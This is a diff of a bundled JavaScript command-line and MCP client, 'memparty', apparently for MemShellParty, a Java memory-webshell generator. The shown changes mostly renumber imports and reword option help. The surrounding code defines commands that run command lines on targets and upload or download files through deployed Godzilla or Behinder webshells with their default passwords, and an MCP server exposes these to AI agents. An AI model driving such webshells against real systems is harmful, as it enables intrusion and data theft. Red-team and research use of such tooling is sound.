-  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key", "key").addOption(
+  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
     new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
   ).option(
     "--header-name <name>",
@@ -2641,11 +3254,11 @@ the OS inside its payload, so --os does not apply.
 }
 
 // src/commands/gen.ts
-import { readFileSync as readFileSync6 } from "fs";
+import { readFileSync as readFileSync7 } from "fs";
 import { Option as Option3 } from "commander";
 
 // src/core/output.ts
-import { writeFileSync as writeFileSync3 } from "fs";
+import { writeFileSync as writeFileSync4 } from "fs";
 var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
 function hasBinaryExtension(path) {
   const lower = path.toLowerCase();
@@ -2657,7 +3270,7 @@ function shouldDecode(opts) {
   return false;
 }
 function emitPayload(payload, opts, sinks = {}) {
-  const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync3(p, d));
+  const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
   const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
   const decoded = shouldDecode(opts);
   if (opts.outFile) {
@@ -2681,31 +3294,6 @@ function emitPayload(payload, opts, sinks = {}) {
 
 // src/core/request-builder.ts
 import { randomInt as randomInt3 } from "crypto";
-
-// src/core/jdk.ts
-var JDK_VERSIONS = {
-  java6: 50,
-  java8: 52,
-  java9: 53,
-  java11: 55,
-  java17: 61,
-  java21: 65
-};
-function resolveJreVersion(input3) {
-  if (input3 === void 0 || input3 === "") return void 0;
-  if (typeof input3 === "number") return input3;
-  const normalized = input3.trim().toLowerCase();
-  if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];
-  const withPrefix = `java${normalized}`;
-  if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];
-  const num = Number(normalized);
-  if (Number.isInteger(num) && num > 0) return num;
-  throw new Error(
-    `Invalid JDK version "${input3}". Use one of: ${Object.keys(JDK_VERSIONS).join(", ")}, or a class-file major version like 52.`
-  );
-}
-
-// src/core/request-builder.ts
 var SPRING_GZIP_JDK17_RELATED_PACKERS = /* @__PURE__ */ new Set([
   "SpEL",
   "SpELSpringGzipJDK17",
@@ -2786,7 +3374,7 @@ function buildProbeRequest(opts) {
 }
 
 // src/wizard/memshell-wizard.ts
-import { readFileSync as readFileSync5 } from "fs";
+import { readFileSync as readFileSync6 } from "fs";
 import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
 var JDK_CHOICES = [
   { name: "server default", value: "" },
@@ -2854,7 +3442,7 @@ async function runMemShellWizard(client) {
     }
     case "Custom": {
       const file = await input({ message: "Path to custom .class file" });
-      opts.shellClassBase64 = readFileSync5(file).toString("base64");
+      opts.shellClassBase64 = readFileSync6(file).toString("base64");
       break;
     }
     default:
@@ -2895,7 +3483,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
 function toOptions(o) {
   let shellClassBase64 = o.shellClassBase64;
   if (o.shellClassFile) {
-    shellClassBase64 = readFileSync6(o.shellClassFile).toString("base64");
+    shellClassBase64 = readFileSync7(o.shellClassFile).toString("base64");
   }
   return {
     server: o.server,
@@ -3079,12 +3667,12 @@ Examples:
 // src/mcp/server.ts
 import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
 import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
-import { writeFileSync as writeFileSync4 } from "fs";
+import { writeFileSync as writeFileSync5 } from "fs";
 import { z } from "zod";
 
 // src/core/localfile.ts
-import { existsSync as existsSync4, readFileSync as readFileSync7, statSync } from "fs";
-import { dirname as dirname3, join as join5, resolve } from "path";
+import { existsSync as existsSync5, readFileSync as readFileSync8, statSync } from "fs";
+import { dirname as dirname3, join as join6, resolve } from "path";
 var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
 function remoteBasename(remotePath) {
   const trimmed = remotePath.replace(/[/\\]+$/, "");
@@ -3101,18 +3689,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
       );
     }
     target = name;
-  } else if (existsSync4(localArg) && statSync(localArg).isDirectory()) {
+  } else if (existsSync5(localArg) && statSync(localArg).isDirectory()) {
     if (!name) {
       throw new Error(
         `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
       );
     }
-    target = join5(localArg, name);
+    target = join6(localArg, name);
   } else {
     target = localArg;
   }
   const abs = resolve(target);
-  if (existsSync4(abs)) {
+  if (existsSync5(abs)) {
     if (statSync(abs).isDirectory()) {
       throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
     }
@@ -3121,13 +3709,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
     }
   }
   const parent = dirname3(abs);
-  if (!existsSync4(parent) || !statSync(parent).isDirectory()) {
+  if (!existsSync5(parent) || !statSync(parent).isDirectory()) {
     throw new Error(`local directory ${parent} does not exist`);
   }
   return abs;
 }
 function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
-  if (!existsSync4(localPath)) {
+  if (!existsSync5(localPath)) {
     throw new Error(`local file ${localPath} does not exist`);
   }
   const stat = statSync(localPath);
@@ -3139,7 +3727,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
       `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
     );
   }
-  return readFileSync7(localPath);
+  return readFileSync8(localPath);
 }
 
 // src/version.ts
@@ -3612,7 +4200,7 @@ function createMcpServer(client) {
         }
         if (result.ok && result.data !== void 0) {
           try {
-            writeFileSync4(localPath, result.data);
+            writeFileSync5(localPath, result.data);
           } catch (err) {
             result = {
               ...result,
@@ -3905,7 +4493,7 @@ function registerMcpCommand(program) {
 }
 
 // src/commands/parse-classname.ts
-import { readFileSync as readFileSync8 } from "fs";
+import { readFileSync as readFileSync9 } from "fs";
 function registerParseClassNameCommand(program) {
   program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
     "after",
@@ -3918,7 +4506,7 @@ Examples:
   ).action(async (base64, opts, cmd) => {
     let classBase64;
     if (opts.file) {
-      classBase64 = readFileSync8(opts.file).toString("base64");
+      classBase64 = readFileSync9(opts.file).toString("base64");
     } else if (base64) {
       classBase64 = base64.trim();
     } else {
@@ -4402,7 +4990,7 @@ save is for choosing the name by hand.
 }
 
 // src/commands/transfer.ts
-import { writeFileSync as writeFileSync5 } from "fs";
+import { writeFileSync as writeFileSync6 } from "fs";
 import { Option as Option7 } from "commander";
 function parseExtraHeaders4(lines) {
   const headers = {};
@@ -4476,7 +5064,7 @@ function printResult(result, localPath, savedAs, json) {
 function registerDownloadCommand(program) {
   program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
     new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
-  ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
+  ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
     "--remote-charset <label>",
     "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
   ).option(
@@ -4541,7 +5129,7 @@ is never overwritten unless --force is given.
     let writeError;
     if (result.ok && result.data !== void 0) {
       try {
-        writeFileSync5(localPath, result.data);
+        writeFileSync6(localPath, result.data);
       } catch (err) {
         writeError = `download succeeded but writing ${localPath} failed: ${err instanceof Error ? err.message : String(err)}`;
         result = { ...result, ok: false, error: writeError };
@@ -4567,7 +5155,7 @@ is never overwritten unless --force is given.
 function registerUploadCommand(program) {
   program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
     new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
-  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
+  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
     "--remote-charset <label>",
     "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
   ).option(
@@ -4783,7 +5371,7 @@ async function startRepl(build) {
 
 // src/cli.ts
 function buildProgram() {
-  const program = new Command9();
+  const program = new Command10();
   program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
     "--api <url>",
     `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
@@ -4813,6 +5401,7 @@ Every subcommand has its own examples: memparty <command> --help
   registerLogCommand(program);
   registerParseClassNameCommand(program);
   registerProfileCommand(program);
+  registerCustomCommand(program);
   registerDemoCommand(program);
   registerVersionCommand(program);
   registerMcpCommand(program);